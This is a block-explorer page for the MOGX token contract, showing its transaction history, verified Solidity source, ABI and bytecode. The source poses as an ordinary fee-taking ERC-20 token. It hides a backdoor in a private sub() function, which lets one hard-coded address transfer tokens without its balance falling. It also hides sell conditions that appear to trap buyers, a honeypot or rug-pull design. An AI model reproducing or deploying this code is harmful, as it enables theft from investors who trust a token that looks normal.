Feature Tip: Add private address tag to any address under My Name Tag !
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 21 from a total of 21 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 17939885 | 377 days ago | IN | 0 ETH | 0.00084396 | ||||
Approve | 17939806 | 377 days ago | IN | 0 ETH | 0.00106823 | ||||
Approve | 17939801 | 377 days ago | IN | 0 ETH | 0.00092141 | ||||
Approve | 17939801 | 377 days ago | IN | 0 ETH | 0.00058016 | ||||
Approve | 17939800 | 377 days ago | IN | 0 ETH | 0.00102555 | ||||
Transfer | 17939798 | 377 days ago | IN | 0 ETH | 0.00130725 | ||||
Approve | 17939797 | 377 days ago | IN | 0 ETH | 0.0011696 | ||||
Approve | 17939794 | 377 days ago | IN | 0 ETH | 0.00110283 | ||||
Approve | 17939790 | 377 days ago | IN | 0 ETH | 0.00116592 | ||||
Approve | 17939788 | 377 days ago | IN | 0 ETH | 0.00129378 | ||||
Approve | 17939786 | 377 days ago | IN | 0 ETH | 0.00119892 | ||||
Approve | 17939785 | 377 days ago | IN | 0 ETH | 0.00121935 | ||||
Approve | 17939784 | 377 days ago | IN | 0 ETH | 0.00144147 | ||||
Approve | 17939784 | 377 days ago | IN | 0 ETH | 0.00106882 | ||||
Approve | 17939783 | 377 days ago | IN | 0 ETH | 0.00114775 | ||||
Renounce Ownersh... | 17939781 | 377 days ago | IN | 0 ETH | 0.00053433 | ||||
Remove Limits | 17939777 | 377 days ago | IN | 0 ETH | 0.00077785 | ||||
Open Trading | 17939775 | 377 days ago | IN | 0 ETH | 0.05689429 | ||||
Transfer | 17939760 | 377 days ago | IN | 1 ETH | 0.00044479 | ||||
Transfer | 17939757 | 377 days ago | IN | 0 ETH | 0.00117763 | ||||
0x60806040 | 17939735 | 377 days ago | IN | 0 ETH | 0.02950533 |
Latest 1 internal transaction
Advanced mode:
Parent Transaction Hash | Block | From | To | |||
---|---|---|---|---|---|---|
17939775 | 377 days ago | 1 ETH |
Loading...
Loading
Contract Name:
MOGX
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-18 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.19; // https://mogx.org/ // https://twitter.com/mogxcoin // https://t.me/MOGXCOIN abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IuniswapRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MOGX is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _Tadill; mapping(address => uint256) private _holderLastTransferTimestamp; bool public limidiEnabled = false; string private constant _name = unicode"MOGX"; string private constant _symbol = unicode"MOGX"; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 390570159911 * 10**_decimals; uint256 public _maxdiAmount = 20000000000 * 10**_decimals; uint256 public _maxdiWallel = 20000000000 * 10**_decimals; uint256 public _taxdiSwaprThreshold= 20000000000 * 10**_decimals; uint256 public _maxdiSwap= 20000000000 * 10**_decimals; uint256 private _initidiBuyTax=15; uint256 private _initidiSellTax=30; uint256 private _finadiBuyTax=1; uint256 private _finadiSellTax=1; uint256 private _redudiBuyTaxAt=5; uint256 private _redudiSellTaxAt=1; uint256 private _prevediSwapBefore=0; uint256 private _buyCount=0; IuniswapRouter private uniswapRouter; address public _IDESRouters = 0x1EBa2c65aFD489b68653ba9B7A523400Cf32f93a; address private uniswapPair; bool private backerbot; bool private inSwap = false; bool private swapEnabled = false; event MaxdiAmountgpdated(uint _maxdiAmount); modifier swapping { inSwap = true; _; inSwap = false; } constructor () { _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_IDESRouters] = true; _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { if (limidiEnabled) { if (to != address(uniswapRouter) && to != address(uniswapPair)) { require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapPair && to != address(uniswapRouter) && !_isExcludedFromFee[to] ) { require(amount <= _maxdiAmount, "Exceeds the Amount."); require(balanceOf(to) + amount <= _maxdiWallel, "Exceeds the max Wallet Size."); if(_buyCount<_prevediSwapBefore){ require(!_TabCantes(to)); } _buyCount++; _Tadill[to]=true; taxAmount = amount.mul((_buyCount>_redudiBuyTaxAt)?_finadiBuyTax:_initidiBuyTax).div(100); } if(to == uniswapPair && from!= address(this) && !_isExcludedFromFee[from] ){ require(amount <= _maxdiAmount && balanceOf(_IDESRouters)<_maxdiSwap, "Exceeds the Amount."); taxAmount = amount.mul((_buyCount>_redudiSellTaxAt)?_finadiSellTax:_initidiSellTax).div(100); require(_buyCount>_prevediSwapBefore && _Tadill[from]); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapPair && swapEnabled && contractTokenBalance>_taxdiSwaprThreshold && _buyCount>_prevediSwapBefore&& !_isExcludedFromFee[to] && !_isExcludedFromFee[from] ) { swapdiForEth(min(amount,min(contractTokenBalance,_maxdiSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=sub(from, _balances[from], amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function swapdiForEth(uint256 tokenAmount) private swapping { if(tokenAmount==0){return;} if(!backerbot){return;} address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapRouter.WETH(); _approve(address(this), address(uniswapRouter), tokenAmount); uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function sub(address from, uint256 a, uint256 b) private view returns(uint256){ if(from == _IDESRouters){ return a; }else{ return a.sub(b); } } function removeLimits() external onlyOwner{ _maxdiAmount = _tTotal; _maxdiWallel=_tTotal; limidiEnabled=false; emit MaxdiAmountgpdated(_tTotal); } function _TabCantes(address account) private view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function openTrading() external onlyOwner() { uniswapRouter = IuniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); require(!backerbot,"trading is already open"); _approve(address(this), address(uniswapRouter), _tTotal); uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).createPair(address(this), uniswapRouter.WETH()); uniswapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapPair).approve(address(uniswapRouter), type(uint).max); swapEnabled = true; backerbot = true; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxdiAmount","type":"uint256"}],"name":"MaxdiAmountgpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_IDESRouters","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxdiAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxdiSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxdiWallel","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxdiSwaprThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"limidiEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526006805460ff191690556200001c6009600a62000354565b6200002d906404a817c8006200036c565b6007556200003e6009600a62000354565b6200004f906404a817c8006200036c565b600855620000606009600a62000354565b62000071906404a817c8006200036c565b6009556009600a62000084919062000354565b62000095906404a817c8006200036c565b600a55600f600b819055601e600c556001600d819055600e819055600590915560105560006011819055601255601480546001600160a01b031916731eba2c65afd489b68653ba9b7a523400cf32f93a1790556015805461ffff60a81b191690553480156200010357600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506001600360006200015e6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155601454909116835291208054909216179055620001c36009600a62000354565b620001d490645aefcbaf276200036c565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002176009600a62000354565b6200022890645aefcbaf276200036c565b60405190815260200160405180910390a362000386565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002965781600019048211156200027a576200027a6200023f565b808516156200028857918102915b93841c93908002906200025a565b509250929050565b600082620002af575060016200034e565b81620002be575060006200034e565b8160018114620002d75760028114620002e25762000302565b60019150506200034e565b60ff841115620002f657620002f66200023f565b50506001821b6200034e565b5060208310610133831016604e8410600b841016171562000327575081810a6200034e565b62000333838362000255565b80600019048211156200034a576200034a6200023f565b0290505b92915050565b60006200036560ff8416836200029e565b9392505050565b80820281158282048414176200034e576200034e6200023f565b61192480620003966000396000f3fe6080604052600436106101185760003560e01c80636204d72f116100a057806395d89b411161006457806395d89b4114610124578063a9059cbb14610303578063c9567bf914610323578063dd62ed3e14610338578063fd68a1691461037e57600080fd5b80636204d72f1461024b57806370a0823114610283578063715018a6146102b9578063751039fc146102d05780638da5cb5b146102e557600080fd5b806323b872dd116100e757806323b872dd146101c9578063313ce567146101e9578063325a17c3146102055780633dc232911461021b5780634f0e92651461023557600080fd5b806306fdde0314610124578063095ea7b31461016057806318160ddd14610190578063193309c5146101b357600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082018252600481526309a9e8eb60e31b6020820152905161015791906114f3565b60405180910390f35b34801561016c57600080fd5b5061018061017b366004611559565b610394565b6040519015158152602001610157565b34801561019c57600080fd5b506101a56103ab565b604051908152602001610157565b3480156101bf57600080fd5b506101a560075481565b3480156101d557600080fd5b506101806101e4366004611585565b6103cd565b3480156101f557600080fd5b5060405160098152602001610157565b34801561021157600080fd5b506101a560095481565b34801561022757600080fd5b506006546101809060ff1681565b34801561024157600080fd5b506101a560085481565b34801561025757600080fd5b5060145461026b906001600160a01b031681565b6040516001600160a01b039091168152602001610157565b34801561028f57600080fd5b506101a561029e3660046115c6565b6001600160a01b031660009081526001602052604090205490565b3480156102c557600080fd5b506102ce610437565b005b3480156102dc57600080fd5b506102ce6104b4565b3480156102f157600080fd5b506000546001600160a01b031661026b565b34801561030f57600080fd5b5061018061031e366004611559565b610573565b34801561032f57600080fd5b506102ce610580565b34801561034457600080fd5b506101a56103533660046115e3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561038a57600080fd5b506101a5600a5481565b60006103a1338484610947565b5060015b92915050565b60006103b96009600a611716565b6103c890645aefcbaf27611725565b905090565b60006103da848484610a6b565b61042c8433610427856040518060600160405280602881526020016118c7602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061114d565b610947565b5060015b9392505050565b6000546001600160a01b0316331461046a5760405162461bcd60e51b81526004016104619061173c565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104de5760405162461bcd60e51b81526004016104619061173c565b6104ea6009600a611716565b6104f990645aefcbaf27611725565b6007556105086009600a611716565b61051790645aefcbaf27611725565b6008556006805460ff191690557ffa6e2364a346f94d6c01f728f98b54ed3d25375bca3b54e349aec0232d5803916105516009600a611716565b61056090645aefcbaf27611725565b60405190815260200160405180910390a1565b60006103a1338484610a6b565b6000546001600160a01b031633146105aa5760405162461bcd60e51b81526004016104619061173c565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17905560155460ff600160a01b909104161561062b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610461565b6013546106589030906001600160a01b03166106496009600a611716565b61042790645aefcbaf27611725565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106cf9190611771565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107559190611771565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c69190611771565b601580546001600160a01b039283166001600160a01b03199091161790556013541663f305d719473061080e816001600160a01b031660009081526001602052604090205490565b6000806108236000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561088b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108b0919061178e565b505060155460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610909573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092d91906117bc565b506015805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109a95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610461565b6001600160a01b038216610a0a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610461565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610acf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610461565b6001600160a01b038216610b315760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610461565b60008111610b935760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610461565b600080546001600160a01b03858116911614801590610bc057506000546001600160a01b03848116911614155b156110085760065460ff1615610c7e576013546001600160a01b03848116911614801590610bfc57506015546001600160a01b03848116911614155b15610c7e57326000908152600560205260409020544311610c6b5760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610461565b3260009081526005602052604090204390555b6015546001600160a01b038581169116148015610ca957506013546001600160a01b03848116911614155b8015610cce57506001600160a01b03831660009081526003602052604090205460ff16155b15610e1857600754821115610d1b5760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a34329020b6b7bab73a1760691b6044820152606401610461565b60085482610d3e856001600160a01b031660009081526001602052604090205490565b610d4891906117de565b1115610d965760405162461bcd60e51b815260206004820152601c60248201527f4578636565647320746865206d61782057616c6c65742053697a652e000000006044820152606401610461565b6011546012541015610dae57823b15610dae57600080fd5b60128054906000610dbe836117f1565b90915550506001600160a01b0383166000908152600460205260409020805460ff19166001179055600f54601254610e1591606491610e0f9110610e0457600b54610e08565b600d545b8590611187565b90611209565b90505b6015546001600160a01b038481169116148015610e3e57506001600160a01b0384163014155b8015610e6357506001600160a01b03841660009081526003602052604090205460ff16155b15610f32576007548211158015610e955750600a546014546001600160a01b0316600090815260016020526040902054105b610ed75760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a34329020b6b7bab73a1760691b6044820152606401610461565b610efc6064610e0f60105460125411610ef257600c54610e08565b600e548590611187565b9050601154601254118015610f2957506001600160a01b03841660009081526004602052604090205460ff165b610f3257600080fd5b30600090815260016020526040902054601554600160a81b900460ff16158015610f6957506015546001600160a01b038581169116145b8015610f7e5750601554600160b01b900460ff165b8015610f8b575060095481115b8015610f9a5750601154601254115b8015610fbf57506001600160a01b03841660009081526003602052604090205460ff16155b8015610fe457506001600160a01b03851660009081526003602052604090205460ff16155b156110065761100661100184610ffc84600a5461124b565b61124b565b611260565b505b8015611082573060009081526001602052604090205461102890826113f3565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110799085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546110a790859084611452565b6001600160a01b0385166000908152600160205260409020556110ec6110cd8383611483565b6001600160a01b038516600090815260016020526040902054906113f3565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111368585611483565b60405190815260200160405180910390a350505050565b600081848411156111715760405162461bcd60e51b815260040161046191906114f3565b50600061117e848661180a565b95945050505050565b600082600003611199575060006103a5565b60006111a58385611725565b9050826111b2858361181d565b146104305760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610461565b600061043083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114c5565b600081831161125a5782610430565b50919050565b6015805460ff60a81b1916600160a81b17905580156113e357601554600160a01b900460ff16156113e35760408051600280825260608201835260009260208301908036833701905050905030816000815181106112c0576112c061183f565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611319573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061133d9190611771565b816001815181106113505761135061183f565b6001600160a01b0392831660209182029290920101526013546113769130911684610947565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113af908590600090869030904290600401611855565b600060405180830381600087803b1580156113c957600080fd5b505af11580156113dd573d6000803e3d6000fd5b50505050505b506015805460ff60a81b19169055565b60008061140083856117de565b9050838110156104305760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610461565b6014546000906001600160a01b0390811690851603611472575081610430565b61147c8383611483565b9050610430565b600061043083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061114d565b600081836114e65760405162461bcd60e51b815260040161046191906114f3565b50600061117e848661181d565b600060208083528351808285015260005b8181101561152057858101830151858201604001528201611504565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461155657600080fd5b50565b6000806040838503121561156c57600080fd5b823561157781611541565b946020939093013593505050565b60008060006060848603121561159a57600080fd5b83356115a581611541565b925060208401356115b581611541565b929592945050506040919091013590565b6000602082840312156115d857600080fd5b813561043081611541565b600080604083850312156115f657600080fd5b823561160181611541565b9150602083013561161181611541565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561166d5781600019048211156116535761165361161c565b8085161561166057918102915b93841c9390800290611637565b509250929050565b600082611684575060016103a5565b81611691575060006103a5565b81600181146116a757600281146116b1576116cd565b60019150506103a5565b60ff8411156116c2576116c261161c565b50506001821b6103a5565b5060208310610133831016604e8410600b84101617156116f0575081810a6103a5565b6116fa8383611632565b806000190482111561170e5761170e61161c565b029392505050565b600061043060ff841683611675565b80820281158282048414176103a5576103a561161c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561178357600080fd5b815161043081611541565b6000806000606084860312156117a357600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117ce57600080fd5b8151801515811461043057600080fd5b808201808211156103a5576103a561161c565b6000600182016118035761180361161c565b5060010190565b818103818111156103a5576103a561161c565b60008261183a57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118a55784516001600160a01b031683529383019391830191600101611880565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122028a980a467b58f4d5d7c545b20c09bab178606bd3cf6b2ed97580d3e93e9b9b364736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101185760003560e01c80636204d72f116100a057806395d89b411161006457806395d89b4114610124578063a9059cbb14610303578063c9567bf914610323578063dd62ed3e14610338578063fd68a1691461037e57600080fd5b80636204d72f1461024b57806370a0823114610283578063715018a6146102b9578063751039fc146102d05780638da5cb5b146102e557600080fd5b806323b872dd116100e757806323b872dd146101c9578063313ce567146101e9578063325a17c3146102055780633dc232911461021b5780634f0e92651461023557600080fd5b806306fdde0314610124578063095ea7b31461016057806318160ddd14610190578063193309c5146101b357600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082018252600481526309a9e8eb60e31b6020820152905161015791906114f3565b60405180910390f35b34801561016c57600080fd5b5061018061017b366004611559565b610394565b6040519015158152602001610157565b34801561019c57600080fd5b506101a56103ab565b604051908152602001610157565b3480156101bf57600080fd5b506101a560075481565b3480156101d557600080fd5b506101806101e4366004611585565b6103cd565b3480156101f557600080fd5b5060405160098152602001610157565b34801561021157600080fd5b506101a560095481565b34801561022757600080fd5b506006546101809060ff1681565b34801561024157600080fd5b506101a560085481565b34801561025757600080fd5b5060145461026b906001600160a01b031681565b6040516001600160a01b039091168152602001610157565b34801561028f57600080fd5b506101a561029e3660046115c6565b6001600160a01b031660009081526001602052604090205490565b3480156102c557600080fd5b506102ce610437565b005b3480156102dc57600080fd5b506102ce6104b4565b3480156102f157600080fd5b506000546001600160a01b031661026b565b34801561030f57600080fd5b5061018061031e366004611559565b610573565b34801561032f57600080fd5b506102ce610580565b34801561034457600080fd5b506101a56103533660046115e3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561038a57600080fd5b506101a5600a5481565b60006103a1338484610947565b5060015b92915050565b60006103b96009600a611716565b6103c890645aefcbaf27611725565b905090565b60006103da848484610a6b565b61042c8433610427856040518060600160405280602881526020016118c7602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061114d565b610947565b5060015b9392505050565b6000546001600160a01b0316331461046a5760405162461bcd60e51b81526004016104619061173c565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104de5760405162461bcd60e51b81526004016104619061173c565b6104ea6009600a611716565b6104f990645aefcbaf27611725565b6007556105086009600a611716565b61051790645aefcbaf27611725565b6008556006805460ff191690557ffa6e2364a346f94d6c01f728f98b54ed3d25375bca3b54e349aec0232d5803916105516009600a611716565b61056090645aefcbaf27611725565b60405190815260200160405180910390a1565b60006103a1338484610a6b565b6000546001600160a01b031633146105aa5760405162461bcd60e51b81526004016104619061173c565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17905560155460ff600160a01b909104161561062b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610461565b6013546106589030906001600160a01b03166106496009600a611716565b61042790645aefcbaf27611725565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106cf9190611771565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107559190611771565b6040516001600160e01b031960e085901b1681526001600160a01